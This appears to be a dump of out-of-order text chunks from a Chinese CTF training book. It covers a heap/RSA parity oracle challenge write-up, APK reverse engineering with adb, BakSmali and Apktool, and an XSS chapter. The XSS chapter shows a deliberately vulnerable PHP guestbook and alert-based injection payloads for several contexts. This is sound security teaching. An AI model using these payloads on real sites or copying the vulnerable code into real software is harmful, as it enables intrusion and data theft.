oracle，因此如何减少交互数量，提升运行速度也是非常关键的，否则极有可能一次攻击都无法完成。 题目的第一种攻击方式为null byte off-by-one(fake chunk)+integer-overflow(or fast mining)+rsa parity oracle(feat high-bits known accelarate)。 选手在添加自我描述部分的时候存在off-by-one，通过off-by-one修改数组头指针，使其上移到description，使得堆结构体可控。堆结构体中存储的是AES的密钥，通过修改AES的密钥可以解密RSA的密文解密的后16字节，然后判断明文的奇偶性，从而进行RSA parity oracle。 本题除了上述漏洞的利用之外，还考察了如下考点。 ·迷惑点：leak的明文长度较多，所以会造成可以LLLAttack的假象。 ·整型溢出攻击方式：为了避免挖矿，可以通过整型溢出获得硬币，这里考察了一个奇偶性质的问题，因为每次攻击都需要花费两个硬币，所以如果将硬币mining到奇数的话，硬币的数量永远不会为0。 ·RSA parity oracle优化问题：完整的RSA parity oracle要交互1024次流程才能leak完毕，但是因为明文数量约为模数的一半，且明文后面有padding，所以可以在攻击过程的初始状态和结束状态进行优化，减少一半的攻击次数。 本题可以通过查表方式来进行，不用整型溢出，手动挖矿，但是因为时间和交互次数问题，会降低exp的稳定性。 题目的第二种攻击方式为：Use After Free+integer-overflow(or fast mining)+rsa parity oracle(feat high-bits known accelarate)。 后续攻击方式与第一种相同，达成RSA parity oracle攻击条件可以使用另外一个漏洞。使用大量硬币释放掉最后一个boss后，使用多次评论UAF操控最后一个boss的内容，然后通过攻击怪物选项使用RSA parity oracle。"},
    {"text": "未知 本篇小结 学习CTF中Crypto类型的题目需要一定数学功底和逻辑思维，对于初学者来说并不是一个友好的CTF分类，但是一旦掌握了Crypto的做题技巧，会是你在CTF竞赛中非常重要的得分点。 古典密码是CTF竞赛中常见的较为简单的考点，选手只需要能够识别加密方式以及了解相关攻击技巧，即可快速解题。具有挑战性的古典密码类型题目是较为罕见的。 分组密码和序列密码是CTF中的核心考点，在了解了本书介绍的基本攻击方法后，可以针对分组密码、序列密码的各类结构及分析技巧进行深入研究，例如差分攻击、积分攻击、快速相关攻击等，这些内容是国内大型比赛以及国际比赛的重点考核区域。 公钥密码是CTF线上赛的必考内容，近年来基于格的问题越来越流行，在学习完基本的公钥密码知识体系和攻击方式后，深入研究格相关知识和基于格的攻击技巧是在公钥密码领域提升做题能力的关键。 哈希函数相关的考点较少，了解基本的哈希碰撞、彩虹表、长度扩展攻击等相关知识即可应付大多数竞赛情况。 当前区块链已成为CTF竞赛的热门领域，作为密码学选手，了解区块链相关领域的基本知识和做题技巧也是帮助队伍获得好成绩的关键。 未知 第五篇 CTF之APK 本篇主要讲解CTF中APK的知识点，主要包括三个方面：首先，介绍APK类型题目的基础知识点，包括题目的概述、Android系统的基本特性以及ARM架构的基础知识；其次，介绍Dalvik层的逆向分析技术，主要包括静态分析和动态调试两个方面；最后，介绍Native层的逆向分析技术，主要包括调用特征分析、静态分析、动态调试三个方面。 未知 第23章 APK基础 本章将简要介绍CTF比赛中Android题目的类型，以及作为Android逆向人员必须具备的基础知识。 未知 23.1 Android题目类型 CTF比赛中的Android题目主要以APK逆向为主，一般的出题方式是：提供一个APK安装程序，让选手进行逆向和调试分析，从而得出隐藏在其中的flag；也有可能不直接提供APK安装程序，而是需要通过流量、解密或者拼装等方式获得，但是最终都会获取一个APK文件（或者dex文件）来进行逆向操作。 目前，市面上大部分的Android系统都部署在ARM处理器平台上，CTF比赛中所出的大部分题目也是基于ARM平台的，因此推荐在做此类题目的时候准备一部Android手机，这样调试起来会比较方便；当然，模拟器也可以，但是模拟器在性能上会稍微差点且操作烦琐，同时不排除有的APK可能会对模拟器进行验证，徒增烦恼。如果想深入研究Android，推荐使用谷歌的Nexus系列手机，刷机和调试都非常方便。 解答Android题目对于工具的依赖非常强，熟练掌握几款工具能够让你在解题时得心应手。因此，本章将以介绍各类知名的逆向工具为主，辅以原理解析，并讲解几个例题作为巩固，以达到较好的效果。 同时，本章也会简要介绍Android操作系统的结构以及ARM处理器架构的相关基础知识，已经掌握这些基础知识的读者可以直接跳过。 未知 23.2 Android基本架构 Android操作系统可分为4层，分别是Linux内核层、系统运行层、应用框架层和应用层，而CTF中的Android题目主要集中在应用层，不会涉及过多系统方面的知识。 从开发人员的角度来看，一个Android应用可以分为两个部分：一部分使用Java实现，也称Dalvik虚拟机层；一部分使用C/C++实现，也称Native层。从出题的角度来看，题目的主要逻辑既可以出在Dalvik层，也可以出在Native层。对Dalvik层的代码进行逆向操作比较方便，属于较简单的题型，而对Native层的代码进行逆向操作可能会比较复杂，属于较难的题型。 未知 23.2.1 Android的Dalvik虚拟机 Android应用虽然可以使用Java开发，但是Android应用却不是运行在标准的Java虚拟机上，而是运行在谷歌专门为Android开发的Dalvik虚拟机上。虽然Android从5.0开始默认使用ART虚拟机，抛弃了Dalvik虚拟机，但是Dalvik虚拟机的基础知识仍然是逆向必不可少的，尤其是DEX文件的反编译。 Dalvik虚拟机中运行的是Dalvik字节码，并不是Java字节码，所有的Dalvik字节码均由Java字节码转换而来，并打包成一个DEX（Dalvik Executable）可执行文件。Dalvik虚拟机有一套自己的指令集，以及一套专门的Dalvik汇编代码。 未知 23.2.2 Native层 Android既可以使用Java开发，也可以与C/C++结合开发，甚至可以使用纯C/C++开发。使用C/C++开发的代码经过编译后会形成一个so文件，会在Android应用运行时加载到内存中。这与x86平台中Linux加载so库的方式非常相似，唯一不同的是如何将Native层的函数与Dalvik层的函数进行关联，使得Native层的函数在Dalvik层中可以很方便地调用。 Native层中的函数与Dalvik层的函数有多种关联方式，具体的细节将在Native层（第25章）进行详细阐述，这里先简单了解其整体概念。 未知 第1章 常用工具安装及使用 看到本章标题的时候，有的读者可能会想，会使用工具，有什么厉害的呢？其实不然，笔者曾听说过某SRC平台有人仅凭工具进行漏洞挖掘，拿走了将近40万的奖金，其中某个漏洞支付的奖金高达16万。 所以，在很多CTF题目或真实的渗透测试场景中，参赛者不仅要有敏锐的思维和独特的脑回路，还需要借助一些犀利的工具和脚本，才能达到事半功倍的效果。"},
    {"text": "未知 3.1 概述 跨站脚本攻击（Cross Site Scripting，为避免与层叠样式表CSS混淆，通常简称为XSS）是一种网站应用程序的安全漏洞，是代码注入漏洞的一种。它使得攻击者可以通过巧妙的方法向网页中注入恶意代码，导致用户浏览器在加载网页、渲染HTML文档时就会执行攻击者的恶意代码。 大量的网站曾遭受过XSS漏洞攻击或被发现此类漏洞，如Twitter、Facebook、新浪微博和百度贴吧等。根据OWASP（Open Web Application Security Project）公布的2010年的统计数据，在Web安全威胁前10位中，XSS排名第2，仅次于SQL注入攻击漏洞。 近年的CTF比赛中，XSS漏洞也很常见，如在Alibaba CTF 2015、HCTF 2016中均有相关题目。 未知 23.3 ARM架构基础知识 目前绝大多数Android应用都运行在ARM处理器架构上，这里简单介绍一下ARM处理器架构的几个重要特性。 主流的32位ARM处理器架构的版本为ARMv7，64位的ARM处理器的原理与之类似，鉴于目前的题目很少涉及64位的ARM处理器，这里主要介绍32位的ARM处理器中适用于ARMv7的特性。 ARM处理器共有37个32位寄存器，其中31个为通用寄存器，6个为状态寄存器。 ARM处理器共有7种运行模式，除用户模式之外，其余6种模式称为特权模式，Android应用主要运行在用户模式下。 在用户模式下，处理器可以访问的寄存器为不分组寄存器R0~R7、分组寄存器R8~R14、程序计数器R15（PC）以及当前的程序状态寄存器CPSR。 ARM处理器有两种工作状态：ARM状态和Thumb状态，处理器可以在这两种状态下随意切换。这两种状态的主要区别是，ARM状态下会执行32位对齐的ARM指令，而在Thumb状态时主要执行16位对齐的Thumb指令。处理器判断当前状态的主要标志是程序状态寄存器CPSR中的T标志，当T位为1时，处理器处于Thumb状态，反之则处于ARM状态。两种状态下寄存器的命名有所不同，具体如下。 ·两种状态下R0~R7与CPSR相同。 ·ARM状态下的R11对应Thumb状态下的FP。 ·ARM状态下的R12对应Thumb状态下的IP。 ·ARM状态下的R13对应Thumb状态下的SP。 ·ARM状态下的R14对应Thumb状态下的LR。 ·ARM状态下的R15对应Thumb状态下的PC。 为什么ARM要设计两种状态？下面以一个实例来介绍一下ARM处理器的指令集。 例如有这样的简单函数： int func(int i, int j) { int x = i + j - i / j * 3; printf(\"%d\\n\", x); return x; } 使用ARM交叉编译工具编译后，汇编代码为： => 0x2a0008ec <func>: push {r4, lr} 0x2a0008ee <func+2>: adds r4, r0, r1 0x2a0008f0 <func+4>: blx 0x2a00090c <__divsi3> 0x2a0008f4 <func+8>: sub.w r0, r0, r0, lsl #2 0x2a0008f8 <func+12>: add r4, r0 0x2a0008fa <func+14>: ldr r0, [pc, #12] ; (0x2a000908 <func+28>) 0x2a0008fc <func+16>: mov r1, r4 0x2a0008fe <func+18>: add r0, pc 0x2a000900 <func+20>: blx 0x2a0006c0 <printf@plt> 0x2a000904 <func+24>: mov r0, r4 0x2a000906 <func+26>: pop {r4, pc} 可以看出，ARM的汇编代码与Intel x86的汇编代码非常相似，参数都是采用从目标到源的方式，汇编指令也比较相似，熟悉Intel x86汇编的读者应该一下子就能看懂大部分的指令，下面挑选几个比较特殊的知识点进行讲解。 未知 23.3.1 函数调用/跳转指令 在ARM汇编中，函数调用和跳转指令都可以使用b系列指令，常见的有b、bx、bl、blx。其中，带“x”的指令表示根据地址的最后一位进行Thumb模式和ARM模式的切换，当地址最后一位为1时切换至Thumb模式，为0时切换至ARM模式（寄存器PC的值的最后一位总为0）；带“l”的指令表示处理器跳转的时候，会将当前指令的下一条指令地址存入寄存器LR中，这样当子程序需要跳转回来时，只需要把LR的值存入PC即可。 在ARM处理器中，寄存器PC是可以直接修改的，既可以直接赋值，也可以使用出栈操作修改寄存器PC的值。因此直接将LR的值赋给PC是可行的，但这只在子程序和调用者都处在ARM模式时才可以，如果模式不同，则需要bx lr指令（想一想这是为什么？）。 在函数调用的时候，按照约定，函数的前4个参数会依次存储在寄存器R0~R3中，剩余的参数（如果有）则会依次保存在栈里。 未知 23.3.2 出栈入栈指令 ARM汇编的出栈入栈指令与Intel x86的指令很像，都是使用push和pop指令，不同的是ARM汇编的push和pop指令后面可以接多个单数，例如上面的“push{r4,lr}”。 未知 23.3.3 保存/恢复寄存器的值 ARM汇编提供了LDR、STR、LDM、STM系列指令用于将寄存器的值存入内存以及将寄存器的值从内存中读出，其中LDR、STR用于处理单个寄存器，LDM、STM用于一次性保存或恢复多个内存器，因此有时候我们也会看见使用LDM、STM系列指令执行出栈入栈操作。例如，指令“stmdb sp!,{r4,r5,r6,r7,r8,r9,r10,r11,lr}”，它其实相当于“push{r4,r5,r6,r7,r8,r9,r10,r11,lr}”。"},
    {"text": "未知 23.4 adb adb（android debug bridge）是谷歌官方提供的命令行工具，用来连接真机或者模拟器，只要在相应的Android系统设置中打开USB调试，即可使用adb连接手机。adb最主要的功能是查看连接的手机、打开一个shell、查看日志、上传与下载文件，相关命令如下。 1）查看连接的手机或模拟器：adb devices。 2）安装APK：adb install<APK路径>。 3）卸载APP：adb uninstall<package>。 4）打开shell：adb shell。 5）查看日志：adb logcat。 6）上传文件：adb push xxx/data/local/tmp。 7）下载文件：adb pull/data/local/tmp/some_file some_location。 8）将本地端口转发到远程设备的端口：adb forward[--no-rebind]LOCAL REMOTE。 9）列出所有的转发端口adb forward–list。 10将远程设备的端口转发到本地：adb reverse[--no-rebind]REMOTE LOCAL。 11）列出所有反向端口转发：adb reverse--list。 12）终止ADB Server：adb kill-server。 13）启动ADB Server：adb start-server。 14）以root权限重启ADB DAEMON：adb root。 15）重启设备：adb reboot。 16）重启并进入bootloader：adb reboot bootloader。 17）重启并进入recovery：adb reboot recovery。 18）将system分区重新挂载为可读写分区：adb remount。 19）通过TCP/IP连接设备（默认端口5555）：adb connect HOST[:PORT]。 Windows系统可以从谷歌的Android官网上下载Android SDK，其中包含了adb；Linux与Mac系统可以从官网上下载Android SDK，也可以直接使用包管理工具下载android-platform-tools。 在Linux系统中，如果adb无法正常连接，比如使用“adb devices”列出手机时显示“no permissions”，这时可以使用“adb kill-server”命令结束adb进程，然后使用root权限重新运行“adb devices”；一次性的解决办法可以参考 http://source.android.com/source/initializing.html （需要梯子）中的Configuring USB Access一节，将所使用手机的ID写入系统的udev规则中。 未知 23.5 APK文件格式 这里简单介绍一下APK的文件格式。APK文件其实是一个zip压缩文件，使用unzip可以直接解压，例如，下面是某个APK解压后的第一层目录： . ├── AndroidManifest.xml ├── META-INF ├── assets ├── classes.dex ├── libs ├── res └── resources.arsc 其中，AndroidManifest.xml是这个APK的属性文件，所有的APK都需要包含这个文件，这个文件中写明了该APK所具有的Activity、所需要的函数、启动类是哪一个等信息。当然，直接打开解压后的该文件将会是乱码，需要使用工具去解析。 META-INF是编译过程中自动生成的文件夹，尽量不要去手动修改。 assets文件夹比较有意思，存放在这个文件夹里面的文件将会原封不动地打包到APK里，因此这个文件夹里经常会存放一些程序中会使用的文件，例如解密秘钥或者加密后的密文等。 classes.dex是存放Dalvik字节码的DEX文件，若用编辑器直接打开会看到一堆乱码，如何去解析DEX文件将在第24章讨论的内容。 libs文件夹包含Native层所需的lib库，一般为libxxx.so格式，libs文件夹中可以包含多个lib文件。 res文件夹存放与资源相关的文件，例如位图。 resources.arsc文件里面存放着APK中所使用资源的名字、ID、类型等信息，若用编辑器直接打开，看到的也会是乱码，如何解析会在第24章进行讨论。 未知 第24章 Dalvik层逆向分析 本章主要介绍Dalvik层逆向的相关知识与解题方法。学习本章时，需要熟练掌握Java、BakSmali的基础知识，以及命令行的基本操作方法。逆向Android程序的时候，推荐使用Linux/Mac平台，以获取更好的命令行支持。 在Dalvik层分析的时候，理解原理很重要，选择一款合适的工具也很重要，有时候一款合适的工具，能够达到事半功倍的效果。 本章首先介绍在逆向分析的过程中所需的基础知识，以及会使用到的几种优秀工具，随后会探讨目前Dalvik层中使用到的混淆及加固技术。 未知 24.1 Dalvik基础知识 目前，主流的DEX文件反汇编工具为BakSmali和Dedexer，两者在语法上有很多相似之处，而我们在比赛中经常会用到的工具是BakSmali。下面通过一个例子来了解BakSmali的语法。 例如这样一个简单的Java方法： public String func(int i, int j) { return String.valueOf(i + j - i / j * 3); } 编译成DEX文件，再反汇编成BakSmali，代码如下： # virtual methods .method public func(II)Ljava/lang/String; .locals 2 .param p1, \"i\" # I .param p2, \"j\" # I .prologue .line 54 add-int v0, p1, p2 div-int v1, p1, p2 mul-int/lit8 v1, v1, 0x3 sub-int/2addr v0, v1 invoke-static {v0}, Ljava/lang/String;->valueOf(I)Ljava/lang/String; move-result-object v0 return-object v0 .end method 下面通过几个关键点阐述一下。"},
    {"text": "未知 24.1.1 寄存器 Dalvik虚拟机与Java虚拟机的一个最大的不同之处就是Dalvik虚拟机是基于寄存器架构的，它在代码中使用了大量的寄存器。这种设计可以将一部分虚拟机寄存器映射到处理器寄存器上，从而提高运算速度；另一部分寄存器则是通过调用栈进行模拟。Dalvik虚拟机中的每个寄存器都是32位，支持任何类型。Dalvik虚拟机最多可使用65536个寄存器，但是，目前笔者还没有遇到可以用这么多寄存器的函数。 Dalvik虚拟机中的寄存器有两种表示方法——v命名法和p命名法，在前文BakSmali语法中采取的是p命名法。在该代码中，以“p”开头的寄存器表示的是传入的参数，例如，p0代表第一个参数，p1代表第二个参数，以此类推；以“v”开头的寄存器表示的是局部变量，v0代表第一个局部变量，v1代表第二个局部变量，以此类推。而v命名法是将所有参数变量和局部变量都以“v”打头，并没有对参数变量和局部变量进行区分，这么来看，p命名法似乎更符合使用习惯。 在BakSmali语法中，在函数的开始会使用“.locals”字段描述该函数使用的局部变量的个数，使用“.param”字段描述函数参数变量。 未知 24.1.2 类型 Dalvik虚拟机中只有11种变量类型，这些类型可用来表示Java中的所有类型。在BakSmali语法中并不写出类型的全称，而是使用如表24-1所示的语法。 表24-1 Dalvik虚拟机的变量类型及其说明 对于32位的变量类型，用一个寄存器就可以储存；而对于64位的变量类型，例如J、D，则需要使用两个连续的寄存器来存储，例如v0、v1。 上述11个类型中，除去L类型和[类型为引用类型，其余类型都是基本类型。 L类型可用来表示Java中的类，例如Java中的类java.lang.String对应的L类型是“Ljava/lang/String;”的形式。字母L后直接跟包的绝对路径，Java表示中的“.”替换为“/”，最后用分号“;”表示对象名结束。 [类型可用来表示基本类型和Java类型的数组。一般表示为[后面紧跟基本类型描述符。例如[I表示int[]，[[I表示int[][]，[[[I表示int[][][]，以此类推，注意多维数组的维数最多为255个。[类型也可以与L类型结合使用，例如“[Ljava/lang/String;”表示Java中的String[]。"},
    {"text": "未知 3.2 常见XSS漏洞分类 按漏洞成因，一般可以把XSS漏洞分为反射型、存储型、DOM型。 基于上述三种XSS类型，还可以根据输出点的不同，依照输出点的位置分成3类，具体如下。 ·输出在HTML属性中。 ·输出在CSS代码中。 ·输出在JavaScript中。 下面将分别为大家介绍这几种类型。 1.反射型XSS XSS代码作为客户端输入的内容提交给服务端，服务端解析后，在响应内容中返回输入的XSS代码，最终由浏览器解释执行。原型如下： <?php echo 'your input:' . $_GET['input']; ?> 客户端输入的input值未经任何过滤便直接输出，所以攻击者可以提交： http://example.com/xss.php?input=<script>alert(/xss/)</script> 在服务端对客户端输入的内容进行解析后，echo语句会将客户端输入的代码完整地输出到HTTP响应中，浏览器解析并执行，如图3-1所示。 图3-1 反射型XSS示例 注意 上方的example.com是经过Burp进行名称转换到虚拟机的，前文1.1节的Burp工程选项介绍中有提到过。 2.存储型XSS 存储型XSS与反射型XSS的区别主要在于提交的XSS代码是否会存储在服务端，下次请求该网页时是否需要再次提交XSS代码。存储型XSS的典型应用有留言板、在线聊天室、邮件服务等，攻击者提交包含XSS代码的留言后，服务端会将其存储于数据库中，其他用户访问网页查看留言时，服务端将从数据库中查询已有留言并将留言内容输出在HTTP响应中，由浏览器对包含恶意代码的响应进行解析执行。原型如下： <html> <head> <title>GuestBook v1.0</title> <meta charset=\"utf-8\"> </head> <body> <form method=\"post\"> 昵称：<input type=\"text\" name=\"nickname\"><br> 内容：<textarea name=\"content\"></textarea><br> <input type=\"submit\" name=\"submit\" value=\"提交留言\"> </form> <hr> <?php $conn = mysql_connect(\"localhost\",\"root\",\"root\"); if (!$conn) { die('Could not connect: ' . mysql_error()); } mysql_select_db(\"guestbook\", $conn); if (isset($_POST['submit'])) { $nickname = $_POST['nickname']; $content = $_POST['content']; mysql_query(\"INSERT INTO guestbook (nickname, content) VALUES ('$nickname', '$content')\"); } $result = mysql_query(\"SELECT * FROM guestbook\"); while($row = mysql_fetch_array($result)) { echo $row['nickname'] . \": \" . $row['content'] . '<br>'; } mysql_close($conn); ?> </body> </html> 攻击者提交留言<script>alert(/xss/)</script>后，服务端存储留言，其他用户访问网页时执行恶意代码，如图3-2所示。 图3-2 存储型XSS示例 3.DOM XSS DOM XSS与反射型XSS、存储型XSS的主要区别在于DOM XSS的XSS代码不需要服务端解析响应的直接参与，触发XSS的是浏览器端的DOM解析。原型如下： <html> <head> <title>DOM XSS</title> <meta charset=\"utf-8\"> </head> <body> <div id=\"area\"></div> <script> document.getElementById(\"area\").innerHTML = unescape(location.hash); </script> </body> </html> 代码中服务端未做任何操作，而客户端的JavaScript代码动态地将location.hash赋给document.getElementById(\"area\").innerHTML，导致了这个DOM XSS，使用方法如下： http://example.com/dom.html#<img src=x onerror='alert(/xss/)'> 执行结果如图3-3所示。 图3-3 DOM XSS示例 4.输出在HTML标签中 原型如下： <input name=\"user\" value=\"{{ your input }}\"/> XSS攻击Payload输出在HTML属性中时，攻击者需要在闭合相应的HTML属性后注入新属性，或者在闭合标签后直接注入新标签，如输入： \" onclick=\"alert(/xxs/) 闭合前面的value属性，注入新的onclick属性，则会输出： <input name=\"user\" value=\"\" onclick=\"alert(/xss/)\"/> 或输入： \"><script>alert(/xss/)</script> 直接闭合input标签，注入新的script标签，则会输出： <input name=\"user\" value=\"\"><script>alert(/xss/)</script>\"/> 5.输出在CSS代码中 原型如下： <style type=\"text/css\"> body { color: {{ your input }}; } </style> XSS攻击Payload输出在CSS代码中时，攻击者需要闭合相应的CSS代码，如输入： #000; background-image: url('javascript:alert(/xss/)') 闭合前面的color属性，注入background-image属性，则会输出： <style type=\"text/css\"> body { color: #000; background-image: url('javascript:alert(/xss/)'); } </style> 6.输出在Javascript代码中 原型如下： <script> var name='{{ your input }}'; </script> XSS攻击Payload输出在Javascript代码中时，攻击者需要闭合相应的Javascript代码，如输入： '+alert(/xss/)+' 闭合前面的单引号，注入攻击代码，则会输出： <script> var name=''+alert(/xss/)+''; </script>"},
    {"text": "未知 24.1.3 方法 BakSmali语法中的方法定义以“.method”指令开始，以“.end method”指令结束。对于不同类型的方法，BakSmali会用“#”注释该方法的类型，“#virtual methods”表示该方法是一个虚方法，“#direct methods”表示该方法是一个普通方法。 Dalvik虚拟机使用方法名、参数类型和返回值来详细描述一个方法。例如上面的“func(II)Ljava/lang/String;”，“func”是方法名，括号里的“II”表示两个整型，最后的“Ljava/lang/String;”表示返回值。 符号“->”的含义与C++类似，例如“Ljava/lang/String;->valueOf(I)Ljava/lang/String;”表示方法“String.valueOf(int)”。 未知 24.1.4 指令特点 Dalvik指令集与Intel x86的汇编指令有很大的相似性，参数都是采用从目标到源的方式。 Dalvik指令集相当于一种变长指令。之前说过，Dalvik指令集具有65535个寄存器，显然要表示这么多寄存器需要16位的空间，但是一般的函数普遍用不到这么多数量的寄存器，如果均采用16位空间存储寄存器编号，会使指令的体积增大，因此Dalvik指令通过“/”后缀来表明寄存器编号的范围（有时也会用来表示常量的取值范围）。常见的后缀有16、from16等，例如“move vA,vB”表示将vB寄存器的值赋给vA，其中A和B的值都占用4位（即0~15），默认没有后缀是4位；“move/from16 vA,vB”表示A的值占用8位，B的值占用16位；而“move/16 vA,vB”中，A和B的值都占16位，以此来节省空间。为了方便阅读，也有的参考文档会将上面三个指令分别写成“move vA,vB”“move/from16 vAA,vBBBB”“move/16 vAAAA,vBBBB”。 Dalvik指令集通过“-”后缀来表示不同的类型，常见的类型有“-wide”“-void”“-object”“-int”等，其中“-wide”表示的是64位常规类型的字节码，而32位的字节码没有后缀。 下面就来介绍几个经常用到的指令。 1.返回指令 常见的返回指令有return-void、return vAA、return-wide vAA、return-object vAA，返回指令是函数结尾时运行的最后一条指令，将向调用者返回指定值（也可能返回空）。需要注意的是，所有函数最后调用的指令都必须是返回指令，如果没有返回值也必须调用return-void，否则编译会不通过。 2.方法调用指令 方法调用指令的模板是“invoke-kind{vA,vB,vC},method”和“invode-kind/range{vAAAA..vBBBB},method”，其中参数写在方法名之前，这两种指令的区别就是后面的指令可以使用范围表示参数。 kind可设置为virtual表示调用实例的虚方法，super表示调用实例的父类方法，direct表示调用实例的直接方法，static表示调用实例的静态方法，interface表示调用实例的接口方法。 方法调用的返回值必须使用“move-resultl-”类指令来获取，例如上面代码中的move-result-object v0。 3.跳转指令 跳转指令是我们修改代码时经常遇到的指令，常见的有“goto”“if-test vA,vB,cond”“if-testz vAA,cond”等，其中的test可以取“eq”“ne”“ge”等值，与x86汇编类似。 有了这些知识储备，上面的BakSmali反汇编代码应该很容易就能看懂了。Dalvik指令集在网上都有公开的资料，可以非常方便地查到，指令集的知识不是本章的重点，这里不再详述。 未知 24.2 静态分析 逆向APK程序的第一步就是对APK文件进行反编译，生成BakSmali格式的代码或者直接生成Java代码，随后才能读懂程序逻辑，分析可能的攻击面，最终找出可能的出题点，进而解出题目。 本节将介绍Dalvik层的静态分析方法，以及与之配合的几款优秀工具。"},
    {"text": "未知 24.2.1 使用Apktool反编译APK程序 Apktool是一款优秀的APK文件反编译工具，能够将APK文件解压缩，并且将其中的DEX文件转化为BakSmali代码，将resources.arsc文件转化为XML等可阅读格式，是反编译APK文件的首选工具。 此外，Apktool还整合了Smali和BakSmaliApktool工具，支持对修改之后的BakSmali代码进行重新打包并签名，因此也是破解Android程序最常用到的工具。 Apktool是开源软件，官方网站位于 https://ibotpeaches.github.io/Apktool/ 。 Apktool是跨平台工具，同时也支持Windows/macOS/Linux系统； Apktool需要Java的支持，且Java版本需要大于1.7。 读者可以按照以下步骤自己编译一个最新版的Apktool： $ git clone https://github.com/iBotPeaches/Apktool.git $ cd Apktool $ ./gradlew build shadowJar # 编译生成的jar文件位于 brut.apktool/apktool-cli/build/libs/中 同样也可以直接下载运行编译好的发行版本（可以访问 https://ibotpeaches.github.io/Apktool/install/ ，按照其说明下载安装最新版的Apktool），不过这里还是建议能够自己编译，因为如果目标APK针对Apktool做了混淆，那么编译好的发行版是没有符号的，因此会无法定位到被混淆的位置。 安装完成后，可以使用“-version”参数查看Apktool的版本，如果成功回显则表示安装成功，例如： $ apktool -version 2.2.0 Apktool使用过程中常用的编译和反编译功能命令如下，可以运行命令“apktool”以及“apktool-advance”查看。 ·反编译APK文件：apktool d[ecode][options]<file_apk>。 ·编译APK文件：apktool b[uild][options]<app_path>。"},
    {"text": "有一个app-debug.apk文件，首先在命令行下进入APK文件所在的目录，然后输入命令“apktool d app-debug.apk”，Apktool就会开始解析APK文件，输出部分信息后，反编译之后的内容会存入同目录下的同名文件夹中，具体如下： $ apktool d app-debug.apk I: Using Apktool 2.2.0 on app-debug.apk I: Loading resource table... I: Decoding AndroidManifest.xml with resources... I: Loading resource table from file: /Users/user/Library/apktool/framework/1.apk I: Regular manifest package... I: Decoding file-resources... I: Decoding values */* XMLs... I: Baksmaling classes.dex... I: Copying assets and libs... I: Copying unknown files... I: Copying original files... 进入同目录下的app-debug目录，目录结构如下： $ tree -L 1 . ├── AndroidManifest.xml ├── apktool.yml ├── original ├── res └── smali 其中，AndroidManifest.xml文件为APK中的AndroidManifest.xml文件解析之后的可读格式，apktool.yml文件保存着Apktool工具在反编译过程中使用的相关信息，original目录保存着APK文件中原始的AndroidManifest.xml文件和META-INF目录，res目录包含了APK中使用的各种资源文件，smali目录就是Apktool将DEX文件反编译后的BakSmali反汇编代码。"},
    {"text": "之前APK文件直接通过zip解压后还有一个resources.arsc文件，里面存放着APK中所用资源的名字、ID、类型等关联信息，该文件去哪了呢？ 原来，Apktool将resources.arsc文件解密为多个XML文件存放到res/values/目录下了，具体如下： $ tree res/values res/values ├── attrs.xml ├── bools.xml ├── colors.xml ├── dimens.xml ├── drawables.xml ├── ids.xml ├── integers.xml ├── public.xml ├── strings.xml └── styles.xml 其中，比较重要的是public.xml文件。 这个文件中存放着Android程序中所使用的ID与类型、变量名的对应关系，当我们在阅读代码的过程中遇到形如“R.id.xxx”或者“findViewById(xxx)”等形式的代码时，只需要到public.xml中查找该ID所对应的变量类型和变量名，再到相应的XML文件中（例如strings.xml）查找相应的值即可。 AndroidManifest.xml文件存放了该APK的相关属性，做过Android开发的读者应该了解这个文件。 AndroidManifest.xml是每个APK中必需的文件。 它位于整个项目的根目录，描述了APK中需要向外暴露的组件（例如Activity、Service等），声明它们各自的实现类，声明主程序的入口类，声明所需权限等。 我们拿到一个APK文件，反编译后查看的第一个文件一般都是AndroidManifest.xml。 一般情况下，首先要查看该APK包含几个Activity，随后找到该APK的启动Activity； 随后查看一下Application组件中是否含有android:name参数，该参数所指向的Activity会在启动Activity实例化之前初始化，有一些题目会将部分关键代码放在这个类中； 此外还要留意一下该APK有没有定义其他组件，例如Service、Receiver等，它们可能会用来实现不同进程的RPC调用； 关注一下该APK所需的权限，寻找可能的攻击面等。 如下所示的是一个简单的AndroidManifest.xml： <?xml version=\"1.0\" encoding=\"utf-8\"?> <manifest xmlns:android=\"http://schemas.android.com/apk/res/android\" package=\"com.xx.sample.myapplication\"> <application android:allowBackup=\"true\" android:icon=\"@mipmap/ic_launcher\" android:label=\"@string/app_name\" android:supportsRtl=\"true\" android:theme=\"@style/AppTheme\"> <activity android:name=\".MainActivity\" android:label=\"@string/app_name\" android:theme=\"@style/AppTheme.NoActionBar\"> <intent-filter> <action android:name=\"android.intent.action.MAIN\"/> <category android:name=\"android.intent.category.LAUNCHER\"/> </intent-filter> </activity> </application> </manifest> 本例中，该APK中只包含了一个Activity，其完整路径是com.xx.sample.myapplication.MainActivity，同时这个Activity也是该APK的启动Activity。 Activity中若包含<action android:name=\"android.intent.action.MAIN\"/>和<category android:name=\"android.intent.category.LAUNCHER\"/>属性，即为启动Activity，一个APK中只能有一个Activity。"},
    {"text": "修改完成后，返回上层目录，使用apktool b app-debug编译出新的APK。 在未指定输出目录的情况下，Apktool会将编译后的APK放在反编译后的dist目录下： $ apktool b app-debug I: Using Apktool 2.2.0 I: Checking whether sources has changed... I: Checking whether resources has changed... I: Building apk file... I: Copying unknown files/dir... $ tree app-debug/dist app-debug/dist └── app-debug.apk 此时编译完成后的APK还不能安装，因为它还没有签名，我们可以使用Google Android源码库（AOSP）提供的签名工具对它进行签名。"},
    {"text": "首先，下载编译签名程序signapk.jar，可以从地址 https://android.googlesource.com/platform/build/+/master/tools/signapk/src/com/android/signapk/SignApk.java 处下载并用javac编译。 随后我们需要生成自己的签名文件，这里可以选择使用openssl生成签名文件，遵循如下步骤： openssl genrsa -out tmpkey.pem 4096 openssl req -new -key tmpkey.pem -out tmprequest.pem openssl x509 -req -days 9999 -in tmprequest.pem -signkey tmpkey.pem -out mykey.pem openssl pkcs8 -topk8 -outform DER -in tmpkey.pem -inform PEM -out mykey.pk8 -nocrypt rm tmp*.pem 这里的mykey.pem是公钥证书，mykey.pk8是私钥文件。 此外，我们也可以使用Android源码库中提供的测试用签名文件testkey.pk8和testkey.x509.pem（下载地址（需要梯子）为 https://android.googlesource.com/platform/build/+/master/target/product/security/ ）。 随后就可以签名了，命令如下： $ java -jar signapk.jar testkey.x509.pem testkey.pk8 app-debug/dist/app-debug.apk app-debug/dist/signed.apk 签名完成之后就可以装到手机里运行了。"},
